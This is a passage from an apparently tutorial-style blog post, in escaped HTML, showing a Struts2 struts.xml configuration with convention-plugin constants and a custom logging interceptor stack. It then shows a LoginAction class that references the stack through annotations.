  &lt;span style=&quot;color: #7f007f;&quot;&gt;value&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;false&quot;&lt;/span&gt;&lt;/i&gt; &lt;span style=&quot;color: teal;&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;constant&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;name&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;struts.convention.package.locators.basePackage&quot;&lt;/span&gt;&lt;/i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: #7f007f;&quot;&gt;value&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;com.test.lab&quot;&lt;/span&gt;&lt;/i&gt;
  &lt;span style=&quot;color: teal;&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;constant&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;name&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;struts.convention.exclude.packages&quot;&lt;/span&gt;&lt;/i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: #7f007f;&quot;&gt;value&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;org.apache.struts.*,org.apache.struts2.*,&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;org.springframework.web.struts.*,&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;org.springframework.web.struts2.*,&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;org.hibernate.*,WarFileName.*&quot;&lt;/span&gt;&lt;/i&gt;
  &lt;span style=&quot;color: teal;&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;constant&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;name&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;struts.convention.action.checkImplementsAction&quot;&lt;/span&gt;&lt;/i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: #7f007f;&quot;&gt;value&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;false&quot;&lt;/span&gt;&lt;/i&gt;
  &lt;span style=&quot;color: teal;&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;constant&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;name&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;struts.convention.package.locators&quot;&lt;/span&gt;&lt;/i&gt;
  &lt;span style=&quot;color: #7f007f;&quot;&gt;value&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;action,actions,struts,struts2&quot;&lt;/span&gt;&lt;/i&gt; &lt;span style=&quot;color: teal;&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;package&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;name&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;interceptions&quot;&lt;/span&gt;&lt;/i&gt;
  &lt;span style=&quot;color: #7f007f;&quot;&gt;extends&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;struts-default&quot;&lt;/span&gt;&lt;/i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: #7f007f;&quot;&gt;namespace&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;/&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;interceptors&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;interceptor&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;name&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;mylogging&quot;&lt;/span&gt;&lt;/i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: #7f007f;&quot;&gt;class&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;com.test.lab.interceptor.LoggingInterceptor&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;interceptor&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;interceptor-stack&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;name&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;loggingStack&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;interceptor-ref&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;name&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;mylogging&quot;&lt;/span&gt;&lt;/i&gt;
  &lt;span style=&quot;color: teal;&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;interceptor-ref&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;name&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;defaultStack&quot;&lt;/span&gt;&lt;/i&gt;
  &lt;span style=&quot;color: teal;&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;interceptor-stack&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;interceptors&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;package&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;struts&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 6.0pt; mso-bidi-font-size: 11.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;background: #A6A6A6; border: none; mso-background-themecolor: background1; mso-background-themeshade: 166; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
In above xml we have mentioned few properties that will be used to bound our application to use struts2-convention-plugin and interceptors. We are just declaring our interceptors here that will be initialized at the time of application startup and will be executed whenever we will use it in our action class by using Annotations.&lt;br /&gt;
&lt;br /&gt;
Now, let&#39;s move towards our first action class and how we are going to use annotation in that.&lt;br /&gt;
&lt;br /&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoTableGrid&quot; style=&quot;border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-yfti-tbllook: 1184;&quot;&gt;
 &lt;tbody&gt;
&lt;tr&gt;
  &lt;td style=&quot;background: #A6A6A6; border: none; mso-background-themecolor: background1; mso-background-themeshade: 166; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: #646464; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;@ParentPackage&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&quot;interceptions&quot;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: #646464; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;@InterceptorRefs&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;({&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: #646464; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;@InterceptorRef&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&quot;mylogging&quot;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;)&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;}) &lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;color: #7f0055; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;public&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt; &lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #7f0055; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;class&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;
  LoginAction&amp;nbsp; &lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #7f0055; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;implements&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt; &lt;u&gt;ModelDriven&lt;/u&gt;{&lt;/span&gt;&lt;span style=&quot;font-size: 6.0pt; mso-bidi-font-size: 11.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;background: #A6A6A6; border: none; mso-background-themecolor: background1; mso-background-themeshade: 166; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
Before getting into the depth of this class we must need to tell that what we need to put in @ParanetPackage() in @ParentPackage we need to use the same name that we have used in our struts.xml to represent the package in which our interceptor lies. Then finally use the name of interceptor in InterceptorRef.&lt;br /&gt;
&lt;br /&gt;
